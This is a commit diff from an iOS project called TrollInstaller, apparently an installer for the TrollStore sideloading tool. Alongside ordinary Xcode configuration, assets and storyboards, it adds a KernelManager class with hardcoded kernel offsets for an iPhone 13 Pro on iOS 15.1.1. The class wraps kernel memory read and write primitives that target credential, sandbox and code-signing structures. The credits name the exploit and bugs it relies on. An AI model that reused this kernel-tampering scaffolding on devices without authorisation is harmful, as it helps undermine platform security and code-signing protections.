ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_TEAM = 3Z56NQJ65R;
GENERATE_INFOPLIST_FILE = YES;
INFOPLIST_FILE = TrollInstaller/Info.plist;
INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;
INFOPLIST_KEY_UIMainStoryboardFile = Main;
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 1.0;
OTHER_LDFLAGS = (
"-framework",
IOKit,
"-larchive",
);
PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8CE2BD3728AD5D730058FBAD /* Debug */,
8CE2BD3828AD5D730058FBAD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8CE2BD3A28AD5D730058FBAD /* Debug */,
8CE2BD3B28AD5D730058FBAD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 8CE2BD1828AD5D710058FBAD /* Project object */;
}

View File

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "self:">
</FileRef>
</Workspace>

View File

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>

View File

@ -0,0 +1,14 @@
//
// AppDelegate.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@end

View File

@ -1,11 +1,28 @@
#import "TSHAppDelegateWithScene.h"
//
// AppDelegate.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "AppDelegate.h"
@interface AppDelegate ()
@end
@implementation AppDelegate
@implementation TSHAppDelegateWithScene
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
return YES;
// Override point for customization after application launch.
return YES;
}
#pragma mark - UISceneSession lifecycle
- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options {
// Called when a new scene session is being created.
// Use this method to select a configuration to create the new scene with.
@ -19,4 +36,5 @@
// Use this method to release any resources that were specific to the discarded scenes, as they will not return.
}
@end
@end

View File

@ -0,0 +1,11 @@
{
"colors" : [
{
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 245 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.7 KiB

View File

@ -0,0 +1,116 @@
{
"images" : [
{
"filename" : "40.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "60.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "20x20"
},
{
"filename" : "58.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "87.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "29x29"
},
{
"filename" : "80.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "120.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "40x40"
},
{
"filename" : "120-1.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "60x60"
},
{
"filename" : "180.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "60x60"
},
{
"filename" : "20.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "20x20"
},
{
"filename" : "40-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "29.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "29x29"
},
{
"filename" : "58-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "40-2.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "40x40"
},
{
"filename" : "80-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "76.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "76x76"
},
{
"filename" : "152.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "76x76"
},
{
"filename" : "167.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "83.5x83.5"
},
{
"filename" : "1024.png",
"idiom" : "ios-marketing",
"scale" : "1x",
"size" : "1024x1024"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@ -0,0 +1,25 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="EHf-IW-A2E">
<objects>
<viewController id="01J-lp-oVM" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<color key="backgroundColor" xcode11CocoaTouchSystemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="53" y="375"/>
</scene>
</scenes>
</document>

View File

@ -0,0 +1,83 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="20037" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
<device id="retina6_1" orientation="portrait" appearance="light"/>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="20020"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="tne-QT-ifu">
<objects>
<viewController id="BYZ-38-t0r" customClass="ViewController" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
<rect key="frame" x="0.0" y="0.0" width="414" height="896"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Xbu-Hl-yex">
<rect key="frame" x="163.5" y="800" width="87" height="44"/>
<state key="normal" title="Button"/>
<buttonConfiguration key="configuration" style="plain" title="Install">
<fontDescription key="titleFontDescription" type="system" pointSize="25"/>
</buttonConfiguration>
<connections>
<action selector="installButtonPressed:" destination="BYZ-38-t0r" eventType="touchUpInside" id="8iI-fe-hIY"/>
</connections>
</button>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JVS-Tm-8qS">
<rect key="frame" x="156.5" y="44" width="101" height="60"/>
<string key="text">TrollStore
Installer</string>
<fontDescription key="fontDescription" type="system" pointSize="25"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="5" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="1a2-Wm-Mcd">
<rect key="frame" x="51.5" y="123" width="311.5" height="101.5"/>
<string key="text">Credits:
@jaakerblom: multicast_bytecopy exploit
@xina520: get root technique
@LinusHenze: CoreTrust bug
@zhuowei: CoreTrust bug writeup</string>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="Wzs-Lb-XiN">
<rect key="frame" x="207" y="453" width="0.0" height="0.0"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
<color key="backgroundColor" systemColor="systemBackgroundColor"/>
<constraints>
<constraint firstItem="Wzs-Lb-XiN" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="3hT-dN-t3y"/>
<constraint firstItem="JVS-Tm-8qS" firstAttribute="top" secondItem="6Tk-OE-BBY" secondAttribute="top" id="QXJ-WA-nNb"/>
<constraint firstItem="1a2-Wm-Mcd" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="c2Z-Vi-FvF"/>
<constraint firstItem="Wzs-Lb-XiN" firstAttribute="centerY" secondItem="6Tk-OE-BBY" secondAttribute="centerY" id="gpk-JM-ZKB"/>
<constraint firstItem="1a2-Wm-Mcd" firstAttribute="top" secondItem="JVS-Tm-8qS" secondAttribute="bottom" constant="19" id="kjo-EL-B0G"/>
<constraint firstItem="Xbu-Hl-yex" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="pWV-JU-YTc"/>
<constraint firstItem="6Tk-OE-BBY" firstAttribute="bottom" secondItem="Xbu-Hl-yex" secondAttribute="bottom" constant="18" id="rj9-jo-r9k"/>
<constraint firstItem="JVS-Tm-8qS" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="yNr-e8-C4N"/>
</constraints>
</view>
<connections>
<outlet property="statusLabel" destination="Wzs-Lb-XiN" id="Vrz-B5-otQ"/>
</connections>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="28.985507246376812" y="83.705357142857139"/>
</scene>
</scenes>
<resources>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</systemColor>
</resources>
</document>

View File

@ -0,0 +1,25 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<false/>
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
</dict>
</plist>

View File

@ -0,0 +1,232 @@
//
// KernelManager.h
// NonceSet15
//
// Created by Lars Fröder on 02.06.22.
//
#import <Foundation/Foundation.h>
struct StaticOffsets
{
uint64_t kernel_base;
uint64_t kauth_cred_table_anchor;
uint64_t allproc;
uint64_t sandbox_secret;
uint64_t cs_debug;
};
struct SlidOffsets
{
uint64_t kauth_cred_table_anchor;
uint64_t allproc;
uint64_t sandbox_secret;
uint64_t cs_debug;
};
struct UCredOffsets
{
uint64_t posix_offset;
uint64_t label_offset;
uint64_t audit_offset;
};
struct TaskOffsets
{
uint64_t itk_space_offset;
uint64_t t_flags_offset;
uint64_t rop_pid_offset;
uint64_t jop_pid_offset;
uint64_t disable_user_jop_offset;
uint64_t threads_offset;
uint64_t map_offset;
};
struct ThreadOffsets
{
uint64_t task_threads_offset;
uint64_t disable_user_jop_offset;
uint64_t rop_pid_offset;
uint64_t jop_pid_offset;
};
struct ProcOffsets
{
uint64_t task_offset;
uint64_t pid_offset;
uint64_t comm_offset;
uint64_t name_offset;
uint64_t ucred_offset;
uint64_t textvp_offset;
uint64_t textoff_offset;
uint64_t csflags_offset;
uint64_t fd_offset;
};
struct FileDescriptorOffsets
{
uint64_t ofiles_offset;
};
struct FileProcOffsets
{
uint64_t glob_offset;
};
struct FileGlobOffsets
{
uint64_t data_offset;
};
struct ItkSpaceOffsets
{
uint64_t is_table_offset;
};
struct IpcEntryOffsets
{
uint32_t size;
};
struct CsBlobOffsets
{
uint64_t team_id_offset;
uint64_t platform_binary_offset;
uint64_t pmap_cs_entry_offset;
};
struct UbcInfoOffsets
{
uint64_t csblobs_offset;
};
struct VnodeOffsets
{
union un {
uint64_t mountedhere;
uint64_t socket;
uint64_t specinfo;
uint64_t fifoinfo;
uint64_t ubcinfo;
} un_offset;
uint64_t type_offset;
uint64_t flag_offset;
};
struct VmMapOffsets
{
uint64_t header_offset;
uint64_t pmap_offset;
uint64_t flag_offset;
};
struct VmHeaderOffsets
{
uint64_t links_offset;
uint64_t numentry_offset;
};
struct VmMapLinkOffsets
{
uint64_t prev_offset;
uint64_t next_offset;
};
struct CsDirEntryOffsets
{
uint64_t trust_level_offset;
};
struct VmMapEntryOffsets
{
uint64_t links_offset;
uint64_t flag_bits_offset;
};
/*struct PmapOffsets
{
}*/
#define un_mountedhere un.mountedhere
#define un_socket un.socket
#define un_specinfo un.specinfo
#define un_fifoinfo un.fifoinfo
#define un_ubcinfo un.ubcinfo
struct StructOffsets
{
struct ProcOffsets proc;
struct UCredOffsets ucred;
struct ItkSpaceOffsets itk_space;
struct TaskOffsets task;
struct ThreadOffsets thread;
struct IpcEntryOffsets ipc_entry;
struct FileDescriptorOffsets fd;
struct FileProcOffsets fproc;
struct FileGlobOffsets fglob;
struct VnodeOffsets vnode;
struct UbcInfoOffsets ubc_info;
struct CsBlobOffsets csblob;
struct VmMapOffsets vmmap;
struct CsDirEntryOffsets csdirentry;
struct VmHeaderOffsets vmheader;
struct VmMapLinkOffsets vmlink;
struct VmMapEntryOffsets vmentry;
};
NS_ASSUME_NONNULL_BEGIN
@interface KernelManager : NSObject
{
}
@property (nonatomic) uint32_t (*kread_32_d)(uint64_t addr);
@property (nonatomic) uint64_t (*kread_64_d)(uint64_t addr);
@property (nonatomic) void (*kread_32_id)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic) void (*kread_64_id)(uint64_t addr, uint64_t* outPtr);
@property (nonatomic) int (*kread_32_id_ret)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic) int (*kread_64_id_ret)(uint64_t addr, uint64_t* outPtr);
@property (nonatomic, copy) int (^kread32_block)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic, copy) int (^kread64_block)(uint64_t addr, uint64_t* outPtr);
@property (nonatomic) void (*kwrite_32)(uint64_t addr, uint32_t value);
@property (nonatomic) void (*kwrite_64)(uint64_t addr, uint64_t value);
@property (nonatomic) int (*kwrite_32_ret)(uint64_t addr, uint32_t value);
@property (nonatomic) int (*kwrite_64_ret)(uint64_t addr, uint64_t value);
@property (nonatomic, copy) int (^kwrite32_block)(uint64_t addr, uint32_t value);
@property (nonatomic, copy) int (^kwrite64_block)(uint64_t addr, uint64_t value);
@property (nonatomic) int (*kread_buf)(uint64_t addr, void* outBuf, size_t len);
@property (nonatomic) int (*kwrite_buf)(uint64_t addr, void* inBuf, size_t len);
@property (nonatomic) void (*kcleanup)(void);
@property (nonatomic) uint64_t kernel_slide;
@property (nonatomic) uint64_t kernel_base;
@property (nonatomic) struct SlidOffsets slid_offsets;
@property (nonatomic) struct StaticOffsets static_offsets;
@property (nonatomic) struct StructOffsets struct_offsets;
- (void)loadOffsets;
- (void)_loadSlidOffsets;
- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide;
- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base;
+ (instancetype)sharedInstance;
- (uint64_t)read64BitValueAtAddress:(uint64_t)addr;
- (uint32_t)read32BitValueAtAddress:(uint64_t)addr;
- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len;
- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize;
- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len;
- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr;
- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr;
- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr;
- (void)finishAndCleanupIfNeeded;
@end
NS_ASSUME_NONNULL_END

View File

@ -0,0 +1,438 @@
//
// KernelManager.m
// NonceSet15
//
// Created by Lars Fröder on 02.06.22.
//
#import "KernelManager.h"
@implementation KernelManager
+ (instancetype)sharedInstance
{
static KernelManager *sharedInstance = nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
sharedInstance = [[KernelManager alloc] init];
});
return sharedInstance;
}
- (void)loadOffsets
{
struct StaticOffsets staticOffsets;
// iPhone 13 Pro, 15.1.1
staticOffsets.kernel_base = 0xFFFFFFF007004000;
staticOffsets.sandbox_secret = 0xFFFFFFF009DF2140;
staticOffsets.allproc = 0xFFFFFFF009D86AA0;
staticOffsets.kauth_cred_table_anchor = 0xFFFFFFF009DE0988;
staticOffsets.cs_debug = 0xFFFFFFF009D86990;
self.static_offsets = staticOffsets;
struct ProcOffsets proc;
proc.task_offset = 0x10;
proc.pid_offset = 0x68;
proc.comm_offset = 0x2C8;
proc.name_offset = 0x2D9;
proc.ucred_offset = 0xD8;
proc.textvp_offset = 0x2A8;
proc.textoff_offset = 0x2B0;
proc.csflags_offset = 0x300;
proc.fd_offset = 0xE0;
struct UCredOffsets ucred;
ucred.posix_offset = 0x18;
ucred.label_offset = 0x78;
ucred.audit_offset = 0x80;
struct TaskOffsets task;
task.map_offset = 0x28;
task.threads_offset = 0x58;
task.itk_space_offset = 0x330;
task.rop_pid_offset = 0x360;
task.jop_pid_offset = 0x368;
task.disable_user_jop_offset = 0x370;
task.t_flags_offset = 0x41C;
struct ThreadOffsets thread;
thread.task_threads_offset = 0x400;
thread.disable_user_jop_offset = 0x167;
thread.rop_pid_offset = 0x168;
thread.jop_pid_offset = 0x170;
struct ItkSpaceOffsets itk_space;
itk_space.is_table_offset = 0x20;
struct IpcEntryOffsets ipc_entry;
ipc_entry.size = 0x18;
struct FileDescriptorOffsets fd;
fd.ofiles_offset = 0x20; // proc + 256
// numfiles: 0xC, proc + 244
// fd_ofileflags: proc + 264
struct FileProcOffsets fproc;
fproc.glob_offset = 0x10;
struct FileGlobOffsets fglob;
fglob.data_offset = 0x38;
struct VnodeOffsets vnode;
vnode.un_offset.ubcinfo = 0x78;
vnode.type_offset = 0x70;
vnode.flag_offset = 0x54;
struct UbcInfoOffsets ubc_info;
ubc_info.csblobs_offset = 0x50;
struct CsBlobOffsets csblob;
csblob.team_id_offset = 0x80;
csblob.platform_binary_offset = 0xB8;
csblob.pmap_cs_entry_offset = 0xC0;
struct VmMapOffsets vmmap;
vmmap.header_offset = 0x10;
vmmap.pmap_offset = 0x48;
vmmap.flag_offset = 0x11C;
struct VmHeaderOffsets vmheader;
vmheader.links_offset = 0x0;
vmheader.numentry_offset = 0x20;
struct VmMapLinkOffsets vmlink;
vmlink.prev_offset = 0x0;
vmlink.next_offset = 0x8;
struct VmMapEntryOffsets vmentry;
vmentry.links_offset = 0x0;
vmentry.flag_bits_offset = 0x48;
// vm header:
// links: 0x00
// nentries: 0x20
// ..
struct CsDirEntryOffsets csdirentry;
csdirentry.trust_level_offset = 0x9C;
struct StructOffsets structOffsets;
structOffsets.proc = proc;
structOffsets.ucred = ucred;
structOffsets.task = task;
structOffsets.thread = thread;
structOffsets.itk_space = itk_space;
structOffsets.ipc_entry = ipc_entry;
structOffsets.fd = fd;
structOffsets.fproc = fproc;
structOffsets.fglob = fglob;
structOffsets.vnode = vnode;
structOffsets.ubc_info = ubc_info;
structOffsets.csblob = csblob;
structOffsets.vmmap = vmmap;
structOffsets.csdirentry = csdirentry;
structOffsets.vmheader = vmheader;
structOffsets.vmlink = vmlink;
structOffsets.vmentry = vmentry;
self.struct_offsets = structOffsets;
}
- (void)_loadSlidOffsets
{
struct SlidOffsets slidOffsets;
slidOffsets.sandbox_secret = _static_offsets.sandbox_secret + self.kernel_slide;
slidOffsets.allproc = _static_offsets.allproc + self.kernel_slide;
slidOffsets.kauth_cred_table_anchor = _static_offsets.kauth_cred_table_anchor + self.kernel_slide;
slidOffsets.cs_debug = _static_offsets.cs_debug + self.kernel_slide;
self.slid_offsets = slidOffsets;
}
- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide
{
self.kernel_base = self.static_offsets.kernel_base + kernel_slide;
self.kernel_slide = kernel_slide;
[self _loadSlidOffsets];
}
- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base
{
self.kernel_base = kernel_base;
self.kernel_slide = kernel_base - self.static_offsets.kernel_base;
[self _loadSlidOffsets];
}
- (uint64_t)read64BitValueAtAddress:(uint64_t)addr
{
if(_kread_64_d)
{
return _kread_64_d(addr);
}
else
{
uint64_t outInt = 0;
int suc = 0;
if(_kread_64_id)
{
_kread_64_id(addr, &outInt);
}
else if(_kread_64_id_ret)
{
suc = _kread_64_id_ret(addr, &outInt);
}
else if(_kread64_block)
{
suc = _kread64_block(addr, &outInt);
}
else
{
uint8_t* b = (uint8_t*)&outInt;
*(uint32_t *)b = [self read32BitValueAtAddress:addr];
*(uint32_t *)(b + 4) = [self read32BitValueAtAddress:addr + 4];
}
if(suc != 0)
{
NSLog(@"ERROR reading kernel memory (%llX): %d", addr, suc);
}
return outInt;
}
}
- (uint32_t)read32BitValueAtAddress:(uint64_t)addr
{
if(_kread_32_d)
{
return _kread_32_d(addr);
}
else
{
uint32_t outInt = 0;
int suc = 0;
if(_kread_32_id)
{
_kread_32_id(addr, &outInt);
}
else if(_kread_32_id_ret)
{
suc = _kread_32_id_ret(addr, &outInt);
}
else if(_kread32_block)
{
suc = _kread32_block(addr, &outInt);
}
if(suc != 0)
{
NSLog(@"ERROR read kernel memory (%llX): %d", addr, suc);
}
return outInt;
}
}
- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len
{
//printf("read at %llX - %lX\n", addr, len);
//usleep(50);
if(_kread_buf)
{
return _kread_buf(addr, outBuf, len);
}
else
{
uint64_t endAddr = addr + len;
uint32_t outputOffset = 0;
unsigned char* outputBytes = (unsigned char*)outBuf;
for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4)
{
//printf("read %llX\n", curAddr);
//usleep(1000);
uint32_t k = [self read32BitValueAtAddress:curAddr];
unsigned char* kb = (unsigned char*)&k;
for(int i = 0; i < 4; i++)
{
if(outputOffset == len) break;
outputBytes[outputOffset] = kb[i];
outputOffset++;
}
if(outputOffset == len) break;
}
return 0;
}
}
- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize
{
bzero(outBuf, bufSize);
char* outBufStr = (char*)outBuf;
uint64_t maxEndAddr = addr + bufSize;
int ci = 0;
for(uint64_t curAddr = addr; curAddr < maxEndAddr; curAddr += 4)
{
uint32_t k = [self read32BitValueAtAddress:curAddr];
char* kb = (char*)&k;
for(int i = 0; i < 4; i++)
{
char c = kb[i];
if(c == '\0') return 0;
outBufStr[ci] = c;
ci++;
}
}
return 0;
}
void DumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
if(i % 16 == 0)
{
printf("0x%zX | ", i);
}
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len
{
void* buffer = malloc(len);
int ret = [self readBufferAtAddress:addr intoBuffer:buffer withLength:len];
if(ret == 0)
{
DumpHex(buffer, len);
}
free(buffer);
return ret;
}
- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr
{
if(_kwrite_64)
{
_kwrite_64(addr, value);
}
else if(_kwrite_64_ret)
{
return _kwrite_64_ret(addr, value);
}
else if(_kwrite64_block)
{
return _kwrite64_block(addr, value);
}
else
{
int r1 = [self write32BitValue:(uint32_t)value toAddress:addr];
int r2 = [self write32BitValue:(uint32_t)(value >> 32) toAddress:addr + 4];
return r1 || r2;
}
return 0;
}
- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr
{
if(_kwrite_32)
{
_kwrite_32(addr, value);
}
else if(_kwrite_32_ret)
{
return _kwrite_32_ret(addr, value);
}
else if(_kwrite32_block)
{
return _kwrite32_block(addr, value);
}
return 0;
}
- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr
{
//printf("write to %llX - %lX\n", addr, len);
//usleep(50);
if(_kwrite_buf)
{
return _kwrite_buf(addr, inBuf, len);
}
else
{
uint64_t endAddr = addr + len;
uint32_t inputOffset = 0;
unsigned char* inputBytes = (unsigned char*)inBuf;
for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4)
{
uint32_t toWrite = 0;
int bc = 4;
uint64_t remainingBytes = endAddr - curAddr;
if(remainingBytes < 4)
{
toWrite = [self read32BitValueAtAddress:curAddr];
bc = (int)remainingBytes;
}
unsigned char* wb = (unsigned char*)&toWrite;
for(int i = 0; i < bc; i++)
{
wb[i] = inputBytes[inputOffset];
inputOffset++;
}
//printf("write %X to %llX\n", toWrite, curAddr);
//usleep(1000);
[self write32BitValue:toWrite toAddress:curAddr];
}
return 0;
}
return 0;
}
- (void)finishAndCleanupIfNeeded
{
if(_kcleanup)
{
_kcleanup();
}
}
- (void)dealloc
{
[self finishAndCleanupIfNeeded];
}
@end

View File

@ -0,0 +1,15 @@
//
// SceneDelegate.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
